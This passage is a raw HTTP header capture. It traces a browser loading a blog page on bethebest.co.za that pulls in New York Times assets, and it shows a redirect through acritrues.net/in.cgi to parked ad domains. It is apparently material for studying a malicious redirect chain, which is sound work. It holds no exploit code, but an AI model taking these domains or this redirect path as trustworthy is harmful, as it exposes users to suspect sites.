GET /images/global/buttons/go.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:52 GMT Accept-Ranges: bytes Content-Length: 186 Cache-Control: private, max-age=51527 Expires: Tue, 06 Nov 2012 20:21:23 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /adx/images/ADS/26/92/ad.269240/FSL_promo10knoloop.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache Last-Modified: Tue, 14 Jun 2011 21:06:59 GMT Accept-Ranges: bytes Content-Length: 6627 Cneonction: close Cache-Control: private, max-age=63711 Expires: Tue, 06 Nov 2012 23:44:27 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /images/layout/vertical_rule.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/layout.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Mon, 22 Oct 2012 21:27:49 GMT Accept-Ranges: bytes Content-Length: 35 Cneonction: close Cache-Control: private, max-age=12414 Expires: Tue, 06 Nov 2012 09:29:30 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /images/article/functions/tools_email.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/modules/articletools.css	HTTP/1.1 200 OK Content-Type: image/gif Last-Modified: Wed, 09 Jun 2010 19:29:30 GMT Server: Apache nnCoection: close Accept-Ranges: bytes Content-Length: 74 Cache-Control: private, max-age=71588 Expires: Wed, 07 Nov 2012 01:55:44 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /images/article/functions/tools_print.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/modules/articletools.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Wed, 09 Jun 2010 19:29:31 GMT Accept-Ranges: bytes Content-Length: 108 Cneonction: close Cache-Control: private, max-age=39319 Expires: Tue, 06 Nov 2012 16:57:55 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /images/article/functions/tools_reprints.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/modules/articletools.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Wed, 09 Jun 2010 19:29:30 GMT Accept-Ranges: bytes Content-Length: 73 Cache-Control: private, max-age=54932 Expires: Tue, 06 Nov 2012 21:18:08 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /images/icons/multimedia/enlarge_icon.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:53 GMT Accept-Ranges: bytes Content-Length: 68 Cneonction: close Cache-Control: private, max-age=85734 Expires: Wed, 07 Nov 2012 05:51:30 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /images/global/borders/doubleRule.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/layout.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:52 GMT Accept-Ranges: bytes Content-Length: 46 Cneonction: close Cache-Control: private, max-age=26250 Expires: Tue, 06 Nov 2012 13:20:06 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /images/misc/bullet4x4.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/global.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Fri, 25 Mar 2011 19:37:16 GMT Accept-Ranges: bytes Content-Length: 68 Cneonction: close Cache-Control: private, max-age=834092 Expires: Thu, 15 Nov 2012 21:44:08 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /ads/marketing/mm11/video_070111.jpg HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Thu, 30 Jun 2011 15:58:50 GMT Accept-Ranges: bytes Content-Length: 17231 nnCoection: close Cache-Control: private, max-age=63641 Expires: Tue, 06 Nov 2012 23:43:17 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /pblog/images/ed5caafcaf33b2d6.jpg HTTP/1.1 Host: bethebest.co.za User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Date: Tue, 06 Nov 2012 05:59:07 GMT Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Last-Modified: Sun, 04 Sep 2011 03:19:00 GMT Etag: "d8708a1-354-4ac150e3cd100" Accept-Ranges: bytes Content-Length: 852 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive
GET /adx/images/ADS/26/89/ad.268900/11-0220_AudienceDev_86x60_lowe.jpg HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 10 Jun 2011 14:42:24 GMT Accept-Ranges: bytes Content-Length: 3179 Cneonction: close Cache-Control: private, max-age=63690 Expires: Tue, 06 Nov 2012 23:44:06 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /adx/images/ADS/26/47/ad.264772/336x79.jpg HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Thu, 28 Apr 2011 15:48:37 GMT Accept-Ranges: bytes Content-Length: 16755 nnCoection: close Cache-Control: private, max-age=63673 Expires: Tue, 06 Nov 2012 23:43:49 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /images/global/icons/feed_icon_16x16.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/shell.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:52 GMT Accept-Ranges: bytes Content-Length: 653 Cache-Control: private, max-age=2027 Expires: Tue, 06 Nov 2012 06:36:23 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
GET /in.cgi?2 HTTP/1.1 Host: acritrues.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 302 Found HTTP/1.1 302 Found Date: Tue, 06 Nov 2012 06:02:36 GMT Location: http://w.acritrues.net/ Content-Length: 0 Server: Jetty(6.1.26)
GET /images/global/buttons/moth_reverse.gif HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:52 GMT Accept-Ranges: bytes Content-Length: 132 Cache-Control: private, max-age=28748 Expires: Tue, 06 Nov 2012 14:01:45 GMT Date: Tue, 06 Nov 2012 06:02:37 GMT Connection: keep-alive
GET /images/global/buttons/moth_forward.gif HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:52 GMT Accept-Ranges: bytes Content-Length: 130 Cache-Control: private, max-age=36860 Expires: Tue, 06 Nov 2012 16:16:57 GMT Date: Tue, 06 Nov 2012 06:02:37 GMT Connection: keep-alive
GET /images/2011/07/01/world/01moth_germany/01moth_germany-moth.jpg HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 01 Jul 2011 05:55:06 GMT Accept-Ranges: bytes Content-Length: 9798 nnCoection: close Cache-Control: private, max-age=582072 Expires: Mon, 12 Nov 2012 23:43:49 GMT Date: Tue, 06 Nov 2012 06:02:37 GMT Connection: keep-alive
GET /images/2011/07/01/opinion/01moth_rfd/01moth_rfd-moth.jpg HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 01 Jul 2011 07:14:28 GMT Accept-Ranges: bytes Content-Length: 9863 nnCoection: close Cache-Control: private, max-age=582072 Expires: Mon, 12 Nov 2012 23:43:49 GMT Date: Tue, 06 Nov 2012 06:02:37 GMT Connection: keep-alive
GET /images/2011/07/01/sports/01moth_clock/01moth_clock-moth.jpg HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 01 Jul 2011 06:00:32 GMT Accept-Ranges: bytes Content-Length: 8872 nnCoection: close Cache-Control: private, max-age=582072 Expires: Mon, 12 Nov 2012 23:43:49 GMT Date: Tue, 06 Nov 2012 06:02:37 GMT Connection: keep-alive
GET /images/2011/07/03/travel/03moth_hours/03moth_hours-moth.jpg HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 01 Jul 2011 06:04:13 GMT Accept-Ranges: bytes Content-Length: 17035 Cneonction: close Cache-Control: private, max-age=582072 Expires: Mon, 12 Nov 2012 23:43:49 GMT Date: Tue, 06 Nov 2012 06:02:37 GMT Connection: keep-alive
GET /images/2011/07/01/movies/01moth-larry/01moth-larry-moth.jpg HTTP/1.1 Host: i1.nyt.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Server: Apache Last-Modified: Fri, 01 Jul 2011 05:57:40 GMT Accept-Ranges: bytes Content-Length: 15810 Cneonction: close Cache-Control: private, max-age=582072 Expires: Mon, 12 Nov 2012 23:43:49 GMT Date: Tue, 06 Nov 2012 06:02:37 GMT Connection: keep-alive
GET / HTTP/1.1 Host: w.acritrues.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 06 Nov 2012 06:02:37 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.3.10 Set-Cookie: dd=1352181757; expires=Tue, 06-Nov-2012 07:02:37 GMT Content-Encoding: gzip Vary: Accept-Encoding Content-Length: 542 Connection: close
POST / HTTP/1.1 Host: rapidssl-ocsp.geotrust.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 102 Content-Type: application/ocsp-request	HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1330 Date: Tue, 06 Nov 2012 06:02:37 GMT Connection: close
GET /regilite?product=NA HTTP/1.1 Host: myaccount.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Server: Sun-Java-System-Web-Server/7.0 Date: Tue, 06 Nov 2012 06:02:38 GMT Content-Length: 702 Cneonction: close Expires: Mon, 31 Dec 2000 10:10:10 GMT Cache-Control: no-cache
GET /pblog/images/54f741adee1dec76.jpg HTTP/1.1 Host: bethebest.co.za User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/jpeg Date: Tue, 06 Nov 2012 05:59:07 GMT Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Last-Modified: Sun, 04 Sep 2011 03:19:00 GMT Etag: "d87089b-2992e-4ac150e3cd100" Accept-Ranges: bytes Content-Length: 170286 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive
GET /css/standalone/regilite/screen/regiLite.css HTTP/1.1 Host: static.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://myaccount.nytimes.com/regilite?product=NA	HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 06 Nov 2012 06:02:38 GMT Server: Apache Last-Modified: Sat, 04 Aug 2012 21:18:22 GMT Accept-Ranges: bytes Cache-Control: max-age=86400, private Expires: Wed, 07 Nov 2012 06:02:38 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 874 Cneonction: close
GET /images/membercenter/icon_alert.png HTTP/1.1 Host: static.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://myaccount.nytimes.com/regilite?product=NA	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 06 Nov 2012 06:02:38 GMT Server: Apache Last-Modified: Mon, 20 Sep 2010 18:54:22 GMT Accept-Ranges: bytes Content-Length: 3197 Cache-Control: max-age=604800, private Expires: Tue, 13 Nov 2012 06:02:38 GMT nnCoection: close
GET /css/common/global.css HTTP/1.1 Host: static.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://myaccount.nytimes.com/regilite?product=NA	HTTP/1.1 200 OK Content-Type: text/css Date: Tue, 06 Nov 2012 06:02:38 GMT Server: Apache Last-Modified: Sat, 04 Aug 2012 21:18:21 GMT Accept-Ranges: bytes Cache-Control: max-age=86400, private Expires: Wed, 07 Nov 2012 06:02:38 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 482 Cneonction: close
GET /apps/domainpark/show_afd_ads.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://www3.acritrues.net/	HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 Last-Modified: Wed, 31 Oct 2012 23:10:23 GMT Date: Tue, 06 Nov 2012 02:16:08 GMT Expires: Wed, 07 Nov 2012 02:16:08 GMT X-Content-Type-Options: nosniff Content-Disposition: attachment Server: domainserver X-XSS-Protection: 1; mode=block Content-Encoding: gzip Content-Length: 1932 Age: 13590 Cache-Control: public, max-age=86400
GET / HTTP/1.1 Host: www3.acritrues.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://w.acritrues.net/	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 06 Nov 2012 06:02:38 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.16 Set-Cookie: gvc=901vr997273581203221; expires=Sun, 05-Nov-2017 06:02:38 GMT; path=/; domain=www3.acritrues.net; httponly Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Content-Length: 12944 Keep-Alive: timeout=5, max=111 Connection: Keep-Alive
GET /apps/domainpark/domainpark.cgi?callback=_google_json_callback&output=js&client=ca-dp-rookmedia32_3ph_js&domain_name=acritrues.net&hl=no&channel=031531&adtest=off&s=acritrues.net&num_ads=10&adsafe=medium&num_radlinks=0&dt=1352181759016&u_tz=60&u_his=1&u_h=885&u_w=1176&frm=2&ref=http%3A%2F%2Fw.acritrues.net%2F HTTP/1.1 Host: googleads.g.doubleclick.net GET /apps/domainpark/domainpark.cgi?callback=_google_json_callback&output=js&client=ca-dp-rookmedia32_3ph_js&domain_name=acritrues.net&hl=no&channel=031531&adtest=off&s=acritrues.net&num_ads=10&adsafe=medium&num_radlinks=0&dt=1352181759016&u_tz=60&u_his=1&u_h=885&u_w=1176&frm=2&ref=http%3A%2F%2Fw.acritrues.net%2F HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://www3.acritrues.net/ Cookie: id=223ae1776901005b\|\|t=1350343758\|et=730\|cs=002213fd480aa30e9cef2f5d42	HTTP/1.1 200 OK Content-Type: application/javascript; charset=UTF-8 Content-Disposition: inline P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 06 Nov 2012 06:02:39 GMT Server: domainserver Cache-Control: private Content-Length: 65 X-XSS-Protection: 1; mode=block
GET /apps/domainpark/domainpark.cgi?callback=_google_json_callback&output=js&client=ca-dp-rookmedia-rs_js&domain_name=acritrues.net&hl=no&adtest=off&s=acritrues.net&num_ads=0&adsafe=medium&num_radlinks=16&dt=1352181759143&u_tz=60&u_his=1&u_h=885&u_w=1176&frm=2&ref=http%3A%2F%2Fw.acritrues.net%2F HTTP/1.1 Host: googleads.g.doubleclick.net GET /apps/domainpark/domainpark.cgi?callback=_google_json_callback&output=js&client=ca-dp-rookmedia-rs_js&domain_name=acritrues.net&hl=no&adtest=off&s=acritrues.net&num_ads=0&adsafe=medium&num_radlinks=16&dt=1352181759143&u_tz=60&u_his=1&u_h=885&u_w=1176&frm=2&ref=http%3A%2F%2Fw.acritrues.net%2F HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://www3.acritrues.net/ Cookie: id=223ae1776901005b\|\|t=1350343758\|et=730\|cs=002213fd480aa30e9cef2f5d42	HTTP/1.1 200 OK Content-Type: application/javascript; charset=UTF-8 Content-Disposition: inline P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa 